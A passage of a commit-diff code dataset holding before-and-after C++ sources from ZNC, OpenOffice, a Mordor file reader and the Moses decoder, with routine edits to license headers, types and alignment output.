--foreground?)\"));\r\n return false;\r\n }\r\n\r\n bool bValue = CDebug::Debug();\r\n\r\n if (bEnable == bValue) {\r\n if (bEnable) {\r\n PutModule(t_s(\"Already enabled.\"));\r\n } else {\r\n PutModule(t_s(\"Already disabled.\"));\r\n }\r\n return false;\r\n }\r\n\r\n CDebug::SetDebug(bEnable);\r\n CString sEnabled = bEnable ? \"on\" : \"off\";\r\n CZNC::Get().Broadcast(\r\n \"An administrator has just turned Debug Mode \\02\" + sEnabled +\r\n \"\\02. It was enabled by \\02\" + sEnabledBy + \"\\02.\");\r\n if (bEnable) {\r\n CZNC::Get().Broadcast(\r\n \"Messages, credentials, and other sensitive data may become \"\r\n \"exposed to the host during this period.\");\r\n m_sEnabledBy = sEnabledBy;\r\n } else {\r\n m_sEnabledBy = \"\";\r\n }\r\n\r\n return true;\r\n }\r\n\r\n void CommandStatus(const CString& sCommand) {\r\n if (CDebug::Debug()) {\r\n PutModule(t_s(\"Debugging mode is \\02on\\02.\"));\r\n } else {\r\n PutModule(t_s(\"Debugging mode is \\02off\\02.\"));\r\n }\r\n PutModule(t_s(\"Logging to: \\02stdout\\02.\"));\r\n }\r\n};\r\n\r\ntemplate <>\r\nvoid TModInfo<CAdminDebugMod>(CModInfo& Info) {\r\n Info.SetWikiPage(\"admindebug\");\r\n}\r\n\r\nGLOBALMODULEDEFS(CAdminDebugMod, t_s(\"Enable Debug mode dynamically.\"))\r\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: MTypeConverter.cxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: fs $ $Date: 2002-05-17 12:08:41 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): Willem van Dorp, Darren Kenny\n *\n *\n ************************************************************************\/\n\n#include <MNSInclude.hxx>\n\n#ifndef _CONNECTIVITY_MAB_TYPECONVERTER_HXX_\n#include \"MTypeConverter.hxx\"\n#endif\n#ifndef _UCBHELPER_CONTENT_HXX\n#include <ucbhelper\/content.hxx>\n#endif\n\nusing namespace connectivity::mozab;\n\n\/\/ -------------------------------------------------------------------------\nvoid MTypeConverter::ouStringToNsString(::rtl::OUString const &ous, nsString &nss)\n{\n \/\/ Convert to ::rtl::OString (utf-8 encoding).\n ::rtl::OString os(ous,ous.getLength(), RTL_TEXTENCODING_UTF8);\n\n const char *cs = os.getStr();\n PRUint32 csLen = os.getLength();\n\n NS_ConvertUTF8toUCS2 mozString(cs, csLen);\n \/\/const PRUnichar* uniMozString = (const PRUnichar*) mozString;\n nss = mozString; \/\/ temp.\n}\n\/\/ -------------------------------------------------------------------------\nvoid MTypeConverter::nsStringToOUString(nsString const &nss, ::rtl::OUString &ous)\n{\n \/\/ Get clone of buffer.\n PRUnichar *uc = ToNewUnicode(nss);\n sal_Int32 nssLen = nss.Length();\n\n \/\/ TODO check if this is ok.\n ::rtl::OUString _ous(uc, nssLen);\n ous = _ous;\n\n nsMemory::Free(uc);\n}\n\/\/ -------------------------------------------------------------------------\nvoid MTypeConverter::prUnicharToOUString(PRUnichar const *pru, ::rtl::OUString &ous)\n{\n \/\/ TODO, specify length.\n ::rtl::OUString _ous(pru);\n ous = _ous;\n}\n\/\/ -------------------------------------------------------------------------\nchar *MTypeConverter::ouStringToCCharStringUtf8(::rtl::OUString const &ous)\n{\n \/\/ Convert to ::rtl::OString,\n ::rtl::OString os(ous,ous.getLength(), RTL_TEXTENCODING_UTF8);\n\n const char *cs = os.getStr();\n\n return(strdup(cs));\n}\n\/\/ -------------------------------------------------------------------------\nchar *MTypeConverter::ouStringToCCharStringAscii(::rtl::OUString const &ous)\n{\n \/\/ Convert ::rtl::OUString to ::rtl::OString,\n ::rtl::OString os(ous,ous.getLength(), RTL_TEXTENCODING_ASCII_US);\n\n return(strdup(os.getStr()));\n}\n\/\/ -------------------------------------------------------------------------\nchar *MTypeConverter::nsStringToCCharStringAscii(nsString const &nss)\n{\n char cs[1024];\n nss.ToCString(cs, 1024);\n\n return(strdup(cs));\n}\n\/\/ -------------------------------------------------------------------------\n::std::string MTypeConverter::ouStringToStlString(::rtl::OUString const &ous)\n{\n \/\/ Convert ::rtl::OUString to ::rtl::OString.\n ::rtl::OString os(ous,ous.getLength(),RTL_TEXTENCODING_ASCII_US);\n return( ::std::string(os.getStr()));\n}\n#if 0\n\/\/ -------------------------------------------------------------------------\n::std::string MTypeConverter::nsStringToStlString(nsString const &nss)\n{\n return( ::std::string(nss.GetBuffer()));\n}\n#endif\n\/\/ -------------------------------------------------------------------------\n<commit_msg>INTEGRATION: CWS ooo19126 (1.4.332); FILE MERGED 2005\/09\/05 17:24:38 rt 1.4.332.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: MTypeConverter.cxx,v $\n *\n * $Revision: 1.5 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 06:30:32 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#include <MNSInclude.hxx>\n\n#ifndef _CONNECTIVITY_MAB_TYPECONVERTER_HXX_\n#include \"MTypeConverter.hxx\"\n#endif\n#ifndef _UCBHELPER_CONTENT_HXX\n#include <ucbhelper\/content.hxx>\n#endif\n\nusing namespace connectivity::mozab;\n\n\/\/ -------------------------------------------------------------------------\nvoid MTypeConverter::ouStringToNsString(::rtl::OUString const &ous, nsString &nss)\n{\n \/\/ Convert to ::rtl::OString (utf-8 encoding).\n ::rtl::OString os(ous,ous.getLength(), RTL_TEXTENCODING_UTF8);\n\n const char *cs = os.getStr();\n PRUint32 csLen = os.getLength();\n\n NS_ConvertUTF8toUCS2 mozString(cs, csLen);\n \/\/const PRUnichar* uniMozString = (const PRUnichar*) mozString;\n nss = mozString; \/\/ temp.\n}\n\/\/ -------------------------------------------------------------------------\nvoid MTypeConverter::nsStringToOUString(nsString const &nss, ::rtl::OUString &ous)\n{\n \/\/ Get clone of buffer.\n PRUnichar *uc = ToNewUnicode(nss);\n sal_Int32 nssLen = nss.Length();\n\n \/\/ TODO check if this is ok.\n ::rtl::OUString _ous(uc, nssLen);\n ous = _ous;\n\n nsMemory::Free(uc);\n}\n\/\/ -------------------------------------------------------------------------\nvoid MTypeConverter::prUnicharToOUString(PRUnichar const *pru, ::rtl::OUString &ous)\n{\n \/\/ TODO, specify length.\n ::rtl::OUString _ous(pru);\n ous = _ous;\n}\n\/\/ -------------------------------------------------------------------------\nchar *MTypeConverter::ouStringToCCharStringUtf8(::rtl::OUString const &ous)\n{\n \/\/ Convert to ::rtl::OString,\n ::rtl::OString os(ous,ous.getLength(), RTL_TEXTENCODING_UTF8);\n\n const char *cs = os.getStr();\n\n return(strdup(cs));\n}\n\/\/ -------------------------------------------------------------------------\nchar *MTypeConverter::ouStringToCCharStringAscii(::rtl::OUString const &ous)\n{\n \/\/ Convert ::rtl::OUString to ::rtl::OString,\n ::rtl::OString os(ous,ous.getLength(), RTL_TEXTENCODING_ASCII_US);\n\n return(strdup(os.getStr()));\n}\n\/\/ -------------------------------------------------------------------------\nchar *MTypeConverter::nsStringToCCharStringAscii(nsString const &nss)\n{\n char cs[1024];\n nss.ToCString(cs, 1024);\n\n return(strdup(cs));\n}\n\/\/ -------------------------------------------------------------------------\n::std::string MTypeConverter::ouStringToStlString(::rtl::OUString const &ous)\n{\n \/\/ Convert ::rtl::OUString to ::rtl::OString.\n ::rtl::OString os(ous,ous.getLength(),RTL_TEXTENCODING_ASCII_US);\n return( ::std::string(os.getStr()));\n}\n#if 0\n\/\/ -------------------------------------------------------------------------\n::std::string MTypeConverter::nsStringToStlString(nsString const &nss)\n{\n return( ::std::string(nss.GetBuffer()));\n}\n#endif\n\/\/ -------------------------------------------------------------------------\n<|endoftext|>"} {"text":"<commit_before>#ifndef MORDOR_BIN_READER\n#define MORDOR_BIN_READER\n\n#include <fstream>\n#include <iostream>\nusing namespace std;\n\n\ntypedef unsigned char BYTE; \/\/ 1 byte\ntypedef unsigned short WORD; \/\/ 2 bytes wide\ntypedef signed short SWORD;\ntypedef unsigned long DWORD; \/\/ 4 bytes, or long word\ntypedef float CURRENCY;\n\nvoid printLoc(ifstream *mdata, int offset, const char *prefix);\nBYTE readByte(ifstream *mdata_input);\nWORD readWord(ifstream *mdata_input);\nWORD readWordByteOrder(ifstream *mdata_input);\nSWORD readSWord(ifstream *mdata_input);\nDWORD readDWord(ifstream *mdata_input);\nint readInt(ifstream *mdata_input);\nCURRENCY readCurrency(ifstream *mdata_input);\nchar* readVBString(ifstream *mdata_input);\nchar* seekTo(ifstream *mdata_input, int goal);\nbool checkAlignment(ifstream *mdata_input);\nbool checkByteAlignment(ifstream *mdata_input);\n\n#endif\n<commit_msg>currency is a double, not a float.<commit_after>#ifndef MORDOR_BIN_READER\n#define MORDOR_BIN_READER\n\n#include <fstream>\n#include <iostream>\nusing namespace std;\n\n\ntypedef unsigned char BYTE; \/\/ 1 byte\ntypedef unsigned short WORD; \/\/ 2 bytes wide\ntypedef signed short SWORD;\ntypedef unsigned long DWORD; \/\/ 4 bytes, or long word\ntypedef double CURRENCY;\n\nvoid printLoc(ifstream *mdata, int offset, const char *prefix);\nBYTE readByte(ifstream *mdata_input);\nWORD readWord(ifstream *mdata_input);\nWORD readWordByteOrder(ifstream *mdata_input);\nSWORD readSWord(ifstream *mdata_input);\nDWORD readDWord(ifstream *mdata_input);\nint readInt(ifstream *mdata_input);\nCURRENCY readCurrency(ifstream *mdata_input);\nchar* readVBString(ifstream *mdata_input);\nchar* seekTo(ifstream *mdata_input, int goal);\nbool checkAlignment(ifstream *mdata_input);\nbool checkByteAlignment(ifstream *mdata_input);\n\n#endif\n<|endoftext|>"} {"text":"<commit_before><commit_msg>[RArrowDS] Fix compilation error<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/ $Id$\n\n\/***********************************************************************\nMoses - factored phrase-based language decoder\nCopyright (C) 2006 University of Edinburgh\n\nThis library is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU Lesser General Public\nLicense as published by the Free Software Foundation; either\nversion 2.1 of the License, or (at your option) any later version.\n\nThis library is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\nLesser General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public\nLicense along with this library; if not, write to the Free Software\nFoundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n***********************************************************************\/\n\n#include <algorithm>\n#include <stdlib.h>\n#include \"util\/check.hh\"\n#include \"util\/exception.hh\"\n#include \"util\/tokenize_piece.hh\"\n\n#include \"TargetPhrase.h\"\n#include \"PhraseDictionaryMemory.h\"\n#include \"GenerationDictionary.h\"\n#include \"LM\/Base.h\"\n#include \"StaticData.h\"\n#include \"LMList.h\"\n#include \"ScoreComponentCollection.h\"\n#include \"Util.h\"\n#include \"DummyScoreProducers.h\"\n#include \"AlignmentInfoCollection.h\"\n\n\nusing namespace std;\n\nnamespace Moses\n{\nTargetPhrase::TargetPhrase( std::string out_string)\n :Phrase(0), m_fullScore(0.0), m_sourcePhrase(0)\n , m_alignTerm(&AlignmentInfoCollection::Instance().GetEmptyAlignmentInfo())\n , m_alignNonTerm(&AlignmentInfoCollection::Instance().GetEmptyAlignmentInfo())\n{\n\n \/\/ACAT\n const StaticData &staticData = StaticData::Instance();\n CreateFromString(staticData.GetInputFactorOrder(), out_string, staticData.GetFactorDelimiter());\n}\n\n\nTargetPhrase::TargetPhrase()\n :Phrase()\n , m_fullScore(0.0)\n ,m_sourcePhrase()\n\t, m_alignTerm(&AlignmentInfoCollection::Instance().GetEmptyAlignmentInfo())\n\t, m_alignNonTerm(&AlignmentInfoCollection::Instance().GetEmptyAlignmentInfo())\n{\n}\n\nTargetPhrase::TargetPhrase(const Phrase &phrase)\n : Phrase(phrase)\n , m_fullScore(0.0)\n , m_sourcePhrase()\n\t, m_alignTerm(&AlignmentInfoCollection::Instance().GetEmptyAlignmentInfo())\n\t, m_alignNonTerm(&AlignmentInfoCollection::Instance().GetEmptyAlignmentInfo())\n{\n}\n\nvoid TargetPhrase::SetScore(const TranslationSystem* system)\n{\n \/\/ used when creating translations of unknown words:\n m_fullScore = - system->GetWeightWordPenalty();\n}\n\n#ifdef HAVE_PROTOBUF\nvoid TargetPhrase::WriteToRulePB(hgmert::Rule* pb) const\n{\n pb->add_trg_words(\"[X,1]\");\n for (size_t pos = 0 ; pos < GetSize() ; pos++)\n pb->add_trg_words(GetWord(pos)[0]->GetString());\n}\n#endif\n\n\n\nvoid TargetPhrase::SetScore(float score)\n{\n\t\/\/we use an existing score producer to figure out information for score setting (number of scores and weights)\n\t\/\/TODO: is this a good idea?\n \/\/ Assume the default system.\n const TranslationSystem& system = StaticData::Instance().GetTranslationSystem(TranslationSystem::DEFAULT);\n\tconst ScoreProducer* prod = system.GetPhraseDictionaries()[0];\n\t\n\tvector<float> weights = StaticData::Instance().GetWeights(prod);\n\n\t\n\t\/\/find out how many items are in the score vector for this producer\t\n\tsize_t numScores = prod->GetNumScoreComponents();\n\n\t\/\/divide up the score among all of the score vectors\n\tvector <float> scoreVector(numScores,score\/numScores);\n\t\n\t\/\/Now we have what we need to call the full SetScore method\n\tSetScore(prod, scoreVector, ScoreComponentCollection(), weights, system.GetWeightWordPenalty(), system.GetLanguageModels());\n}\n\n\/**\n * used for setting scores for unknown words with input link features (lattice\/conf. nets)\n * \\param scoreVector input scores\n *\/\nvoid TargetPhrase::SetScore(const TranslationSystem* system, const Scores &scoreVector)\n{\n\t\/\/we use an existing score producer to figure out information for score setting (number of scores and weights)\n\n const ScoreProducer* prod = system->GetPhraseDictionaries()[0];\n\n\tvector<float> weights = StaticData::Instance().GetWeights(prod);\n\t\n\t\/\/expand the input weight vector\n\tCHECK(scoreVector.size() <= prod->GetNumScoreComponents());\n\tScores sizedScoreVector = scoreVector;\n\tsizedScoreVector.resize(prod->GetNumScoreComponents(),0.0f);\n\n\tSetScore(prod,sizedScoreVector, ScoreComponentCollection(),weights,system->GetWeightWordPenalty(),system->GetLanguageModels());\n}\n\nvoid TargetPhrase::SetScore(const ScoreProducer* translationScoreProducer,\n const Scores &scoreVector,\n const ScoreComponentCollection &sparseScoreVector,\n const vector<float> &weightT,\n float weightWP, const LMList &languageModels)\n{\n CHECK(weightT.size() == scoreVector.size());\n \/\/ calc average score if non-best\n\n float transScore = std::inner_product(scoreVector.begin(), scoreVector.end(), weightT.begin(), 0.0f);\n m_scoreBreakdown.PlusEquals(translationScoreProducer, scoreVector);\n m_scoreBreakdown.PlusEquals(sparseScoreVector);\n\n \/\/ Replicated from TranslationOptions.cpp\n float totalNgramScore = 0;\n float totalFullScore = 0;\n float totalOOVScore = 0;\n\n LMList::const_iterator lmIter;\n for (lmIter = languageModels.begin(); lmIter != languageModels.end(); ++lmIter) {\n const LanguageModel &lm = **lmIter;\n\n if (lm.Useable(*this)) {\n \/\/ contains factors used by this LM\n const float weightLM = lm.GetWeight();\n const float oovWeightLM = lm.GetOOVWeight();\n float fullScore, nGramScore;\n size_t oovCount;\n\n lm.CalcScore(*this, fullScore, nGramScore, oovCount);\n\n if (StaticData::Instance().GetLMEnableOOVFeature()) {\n vector<float> scores(2);\n scores[0] = nGramScore;\n scores[1] = oovCount;\n m_scoreBreakdown.Assign(&lm, scores);\n totalOOVScore += oovCount * oovWeightLM;\n } else {\n m_scoreBreakdown.Assign(&lm, nGramScore);\n }\n\n\n \/\/ total LM score so far\n totalNgramScore += nGramScore * weightLM;\n totalFullScore += fullScore * weightLM;\n\n }\n }\n\n m_fullScore = transScore + totalFullScore + totalOOVScore\n - (this->GetSize() * weightWP);\t \/\/ word penalty\n}\n\nvoid TargetPhrase::SetScoreChart(const ScoreProducer* translationScoreProducer,\n const Scores &scoreVector\n ,const vector<float> &weightT\n ,const LMList &languageModels\n ,const WordPenaltyProducer* wpProducer)\n{\n CHECK(weightT.size() == scoreVector.size());\n \n \/\/ calc average score if non-best\n m_scoreBreakdown.PlusEquals(translationScoreProducer, scoreVector);\n\n \/\/ Replicated from TranslationOptions.cpp\n float totalNgramScore = 0;\n float totalFullScore = 0;\n float totalOOVScore = 0;\n\n LMList::const_iterator lmIter;\n for (lmIter = languageModels.begin(); lmIter != languageModels.end(); ++lmIter) {\n const LanguageModel &lm = **lmIter;\n\n if (lm.Useable(*this)) {\n \/\/ contains factors used by this LM\n const float weightLM = lm.GetWeight();\n const float oovWeightLM = lm.GetOOVWeight();\n float fullScore, nGramScore;\n size_t oovCount;\n\n lm.CalcScore(*this, fullScore, nGramScore, oovCount);\n fullScore = UntransformLMScore(fullScore);\n nGramScore = UntransformLMScore(nGramScore);\n\n if (StaticData::Instance().GetLMEnableOOVFeature()) {\n vector<float> scores(2);\n scores[0] = nGramScore;\n scores[1] = oovCount;\n m_scoreBreakdown.Assign(&lm, scores);\n totalOOVScore += oovCount * oovWeightLM;\n } else {\n m_scoreBreakdown.Assign(&lm, nGramScore);\n }\n\n \/\/ total LM score so far\n totalNgramScore += nGramScore * weightLM;\n totalFullScore += fullScore * weightLM;\n }\n }\n\n \/\/ word penalty\n size_t wordCount = GetNumTerminals();\n m_scoreBreakdown.Assign(wpProducer, - (float) wordCount * 0.434294482); \/\/ TODO log -> ln ??\n\n m_fullScore = m_scoreBreakdown.GetWeightedScore() - totalNgramScore + totalFullScore + totalOOVScore;\n}\n\nvoid TargetPhrase::SetScore(const ScoreProducer* producer, const Scores &scoreVector)\n{\n \/\/ used when creating translations of unknown words (chart decoding)\n m_scoreBreakdown.Assign(producer, scoreVector);\n m_fullScore = m_scoreBreakdown.GetWeightedScore();\n}\n\n\nvoid TargetPhrase::SetWeights(const ScoreProducer* translationScoreProducer, const vector<float> &weightT)\n{\n \/\/ calling this function in case of confusion net input is undefined\n CHECK(StaticData::Instance().GetInputType()==SentenceInput);\n\n \/* one way to fix this, you have to make sure the weightT contains (in\n addition to the usual phrase translation scaling factors) the input\n weight factor as last element\n *\/\n}\n\nvoid TargetPhrase::ResetScore()\n{\n m_fullScore = 0;\n m_scoreBreakdown.ZeroAll();\n}\n\nTargetPhrase *TargetPhrase::MergeNext(const TargetPhrase &inputPhrase) const\n{\n if (! IsCompatible(inputPhrase)) {\n return NULL;\n }\n\n \/\/ ok, merge\n TargetPhrase *clone\t\t\t\t= new TargetPhrase(*this);\n clone->m_sourcePhrase = m_sourcePhrase;\n int currWord = 0;\n const size_t len = GetSize();\n for (size_t currPos = 0 ; currPos < len ; currPos++) {\n const Word &inputWord\t= inputPhrase.GetWord(currPos);\n Word &cloneWord = clone->GetWord(currPos);\n cloneWord.Merge(inputWord);\n\n currWord++;\n }\n\n return clone;\n}\n\nvoid TargetPhrase::SetAlignmentInfo(const StringPiece &alignString)\n{\n\tAlignmentInfo::CollType alignTerm, alignNonTerm;\n for (util::TokenIter<util::AnyCharacter, true> token(alignString, util::AnyCharacter(\" \\t\")); token; ++token) {\n util::TokenIter<util::SingleCharacter, false> dash(*token, util::SingleCharacter('-'));\n\n char *endptr;\n size_t sourcePos = strtoul(dash->data(), &endptr, 10);\n UTIL_THROW_IF(endptr != dash->data() + dash->size(), util::ErrnoException, \"Error parsing alignment\" << *dash);\n ++dash;\n size_t targetPos = strtoul(dash->data(), &endptr, 10);\n UTIL_THROW_IF(endptr != dash->data() + dash->size(), util::ErrnoException, \"Error parsing alignment\" << *dash);\n UTIL_THROW_IF(++dash, util::Exception, \"Extra gunk in alignment \" << *token);\n\n\n if (GetWord(targetPos).IsNonTerminal()) {\n \talignNonTerm.insert(std::pair<size_t,size_t>(sourcePos, targetPos));\n }\n \telse {\n \t\talignTerm.insert(std::pair<size_t,size_t>(sourcePos, targetPos));\n \t}\n }\n SetAlignTerm(alignTerm);\n SetAlignNonTerm(alignNonTerm);\n\n}\n\nvoid TargetPhrase::SetAlignTerm(const AlignmentInfo::CollType &coll)\n{\n\tconst AlignmentInfo *alignmentInfo = AlignmentInfoCollection::Instance().Add(coll);\n\tm_alignTerm = alignmentInfo;\n\n}\n\nvoid TargetPhrase::SetAlignNonTerm(const AlignmentInfo::CollType &coll)\n{\n\tconst AlignmentInfo *alignmentInfo = AlignmentInfoCollection::Instance().Add(coll);\n\tm_alignNonTerm = alignmentInfo;\n}\n\nTO_STRING_BODY(TargetPhrase);\n\nstd::ostream& operator<<(std::ostream& os, const TargetPhrase& tp)\n{\n os << static_cast<const Phrase&>(tp) << \":\" << tp.GetAlignNonTerm();\n os << \": c=\" << tp.m_fullScore;\n\n return os;\n}\n\n}\n\n<commit_msg>added alignment output to n-best list<commit_after>\/\/ $Id$\n\n\/***********************************************************************\nMoses - factored phrase-based language decoder\nCopyright (C) 2006 University of Edinburgh\n\nThis library is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU Lesser General Public\nLicense as published by the Free Software Foundation; either\nversion 2.1 of the License, or (at your option) any later version.\n\nThis library is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\nLesser General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public\nLicense along with this library; if not, write to the Free Software\nFoundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n***********************************************************************\/\n\n#include <algorithm>\n#include <stdlib.h>\n#include \"util\/check.hh\"\n#include \"util\/exception.hh\"\n#include \"util\/tokenize_piece.hh\"\n\n#include \"TargetPhrase.h\"\n#include \"PhraseDictionaryMemory.h\"\n#include \"GenerationDictionary.h\"\n#include \"LM\/Base.h\"\n#include \"StaticData.h\"\n#include \"LMList.h\"\n#include \"ScoreComponentCollection.h\"\n#include \"Util.h\"\n#include \"DummyScoreProducers.h\"\n#include \"AlignmentInfoCollection.h\"\n\nusing namespace std;\n\nnamespace Moses\n{\nTargetPhrase::TargetPhrase( std::string out_string)\n :Phrase(0), m_fullScore(0.0), m_sourcePhrase(0)\n , m_alignTerm(&AlignmentInfoCollection::Instance().GetEmptyAlignmentInfo())\n , m_alignNonTerm(&AlignmentInfoCollection::Instance().GetEmptyAlignmentInfo())\n{\n\n \/\/ACAT\n const StaticData &staticData = StaticData::Instance();\n CreateFromString(staticData.GetInputFactorOrder(), out_string, staticData.GetFactorDelimiter());\n}\n\n\nTargetPhrase::TargetPhrase()\n :Phrase()\n , m_fullScore(0.0)\n ,m_sourcePhrase()\n\t, m_alignTerm(&AlignmentInfoCollection::Instance().GetEmptyAlignmentInfo())\n\t, m_alignNonTerm(&AlignmentInfoCollection::Instance().GetEmptyAlignmentInfo())\n{\n}\n\nTargetPhrase::TargetPhrase(const Phrase &phrase)\n : Phrase(phrase)\n , m_fullScore(0.0)\n , m_sourcePhrase()\n\t, m_alignTerm(&AlignmentInfoCollection::Instance().GetEmptyAlignmentInfo())\n\t, m_alignNonTerm(&AlignmentInfoCollection::Instance().GetEmptyAlignmentInfo())\n{\n}\n\nvoid TargetPhrase::SetScore(const TranslationSystem* system)\n{\n \/\/ used when creating translations of unknown words:\n m_fullScore = - system->GetWeightWordPenalty();\n}\n\n#ifdef HAVE_PROTOBUF\nvoid TargetPhrase::WriteToRulePB(hgmert::Rule* pb) const\n{\n pb->add_trg_words(\"[X,1]\");\n for (size_t pos = 0 ; pos < GetSize() ; pos++)\n pb->add_trg_words(GetWord(pos)[0]->GetString());\n}\n#endif\n\n\n\nvoid TargetPhrase::SetScore(float score)\n{\n\t\/\/we use an existing score producer to figure out information for score setting (number of scores and weights)\n\t\/\/TODO: is this a good idea?\n \/\/ Assume the default system.\n const TranslationSystem& system = StaticData::Instance().GetTranslationSystem(TranslationSystem::DEFAULT);\n\tconst ScoreProducer* prod = system.GetPhraseDictionaries()[0];\n\t\n\tvector<float> weights = StaticData::Instance().GetWeights(prod);\n\n\t\n\t\/\/find out how many items are in the score vector for this producer\t\n\tsize_t numScores = prod->GetNumScoreComponents();\n\n\t\/\/divide up the score among all of the score vectors\n\tvector <float> scoreVector(numScores,score\/numScores);\n\t\n\t\/\/Now we have what we need to call the full SetScore method\n\tSetScore(prod, scoreVector, ScoreComponentCollection(), weights, system.GetWeightWordPenalty(), system.GetLanguageModels());\n}\n\n\/**\n * used for setting scores for unknown words with input link features (lattice\/conf. nets)\n * \\param scoreVector input scores\n *\/\nvoid TargetPhrase::SetScore(const TranslationSystem* system, const Scores &scoreVector)\n{\n\t\/\/we use an existing score producer to figure out information for score setting (number of scores and weights)\n\n const ScoreProducer* prod = system->GetPhraseDictionaries()[0];\n\n\tvector<float> weights = StaticData::Instance().GetWeights(prod);\n\t\n\t\/\/expand the input weight vector\n\tCHECK(scoreVector.size() <= prod->GetNumScoreComponents());\n\tScores sizedScoreVector = scoreVector;\n\tsizedScoreVector.resize(prod->GetNumScoreComponents(),0.0f);\n\n\tSetScore(prod,sizedScoreVector, ScoreComponentCollection(),weights,system->GetWeightWordPenalty(),system->GetLanguageModels());\n}\n\nvoid TargetPhrase::SetScore(const ScoreProducer* translationScoreProducer,\n const Scores &scoreVector,\n const ScoreComponentCollection &sparseScoreVector,\n const vector<float> &weightT,\n float weightWP, const LMList &languageModels)\n{\n CHECK(weightT.size() == scoreVector.size());\n \/\/ calc average score if non-best\n\n float transScore = std::inner_product(scoreVector.begin(), scoreVector.end(), weightT.begin(), 0.0f);\n m_scoreBreakdown.PlusEquals(translationScoreProducer, scoreVector);\n m_scoreBreakdown.PlusEquals(sparseScoreVector);\n\n \/\/ Replicated from TranslationOptions.cpp\n float totalNgramScore = 0;\n float totalFullScore = 0;\n float totalOOVScore = 0;\n\n LMList::const_iterator lmIter;\n for (lmIter = languageModels.begin(); lmIter != languageModels.end(); ++lmIter) {\n const LanguageModel &lm = **lmIter;\n\n if (lm.Useable(*this)) {\n \/\/ contains factors used by this LM\n const float weightLM = lm.GetWeight();\n const float oovWeightLM = lm.GetOOVWeight();\n float fullScore, nGramScore;\n size_t oovCount;\n\n lm.CalcScore(*this, fullScore, nGramScore, oovCount);\n\n if (StaticData::Instance().GetLMEnableOOVFeature()) {\n vector<float> scores(2);\n scores[0] = nGramScore;\n scores[1] = oovCount;\n m_scoreBreakdown.Assign(&lm, scores);\n totalOOVScore += oovCount * oovWeightLM;\n } else {\n m_scoreBreakdown.Assign(&lm, nGramScore);\n }\n\n\n \/\/ total LM score so far\n totalNgramScore += nGramScore * weightLM;\n totalFullScore += fullScore * weightLM;\n\n }\n }\n\n m_fullScore = transScore + totalFullScore + totalOOVScore\n - (this->GetSize() * weightWP);\t \/\/ word penalty\n}\n\nvoid TargetPhrase::SetScoreChart(const ScoreProducer* translationScoreProducer,\n const Scores &scoreVector\n ,const vector<float> &weightT\n ,const LMList &languageModels\n ,const WordPenaltyProducer* wpProducer)\n{\n CHECK(weightT.size() == scoreVector.size());\n \n \/\/ calc average score if non-best\n m_scoreBreakdown.PlusEquals(translationScoreProducer, scoreVector);\n\n \/\/ Replicated from TranslationOptions.cpp\n float totalNgramScore = 0;\n float totalFullScore = 0;\n float totalOOVScore = 0;\n\n LMList::const_iterator lmIter;\n for (lmIter = languageModels.begin(); lmIter != languageModels.end(); ++lmIter) {\n const LanguageModel &lm = **lmIter;\n\n if (lm.Useable(*this)) {\n \/\/ contains factors used by this LM\n 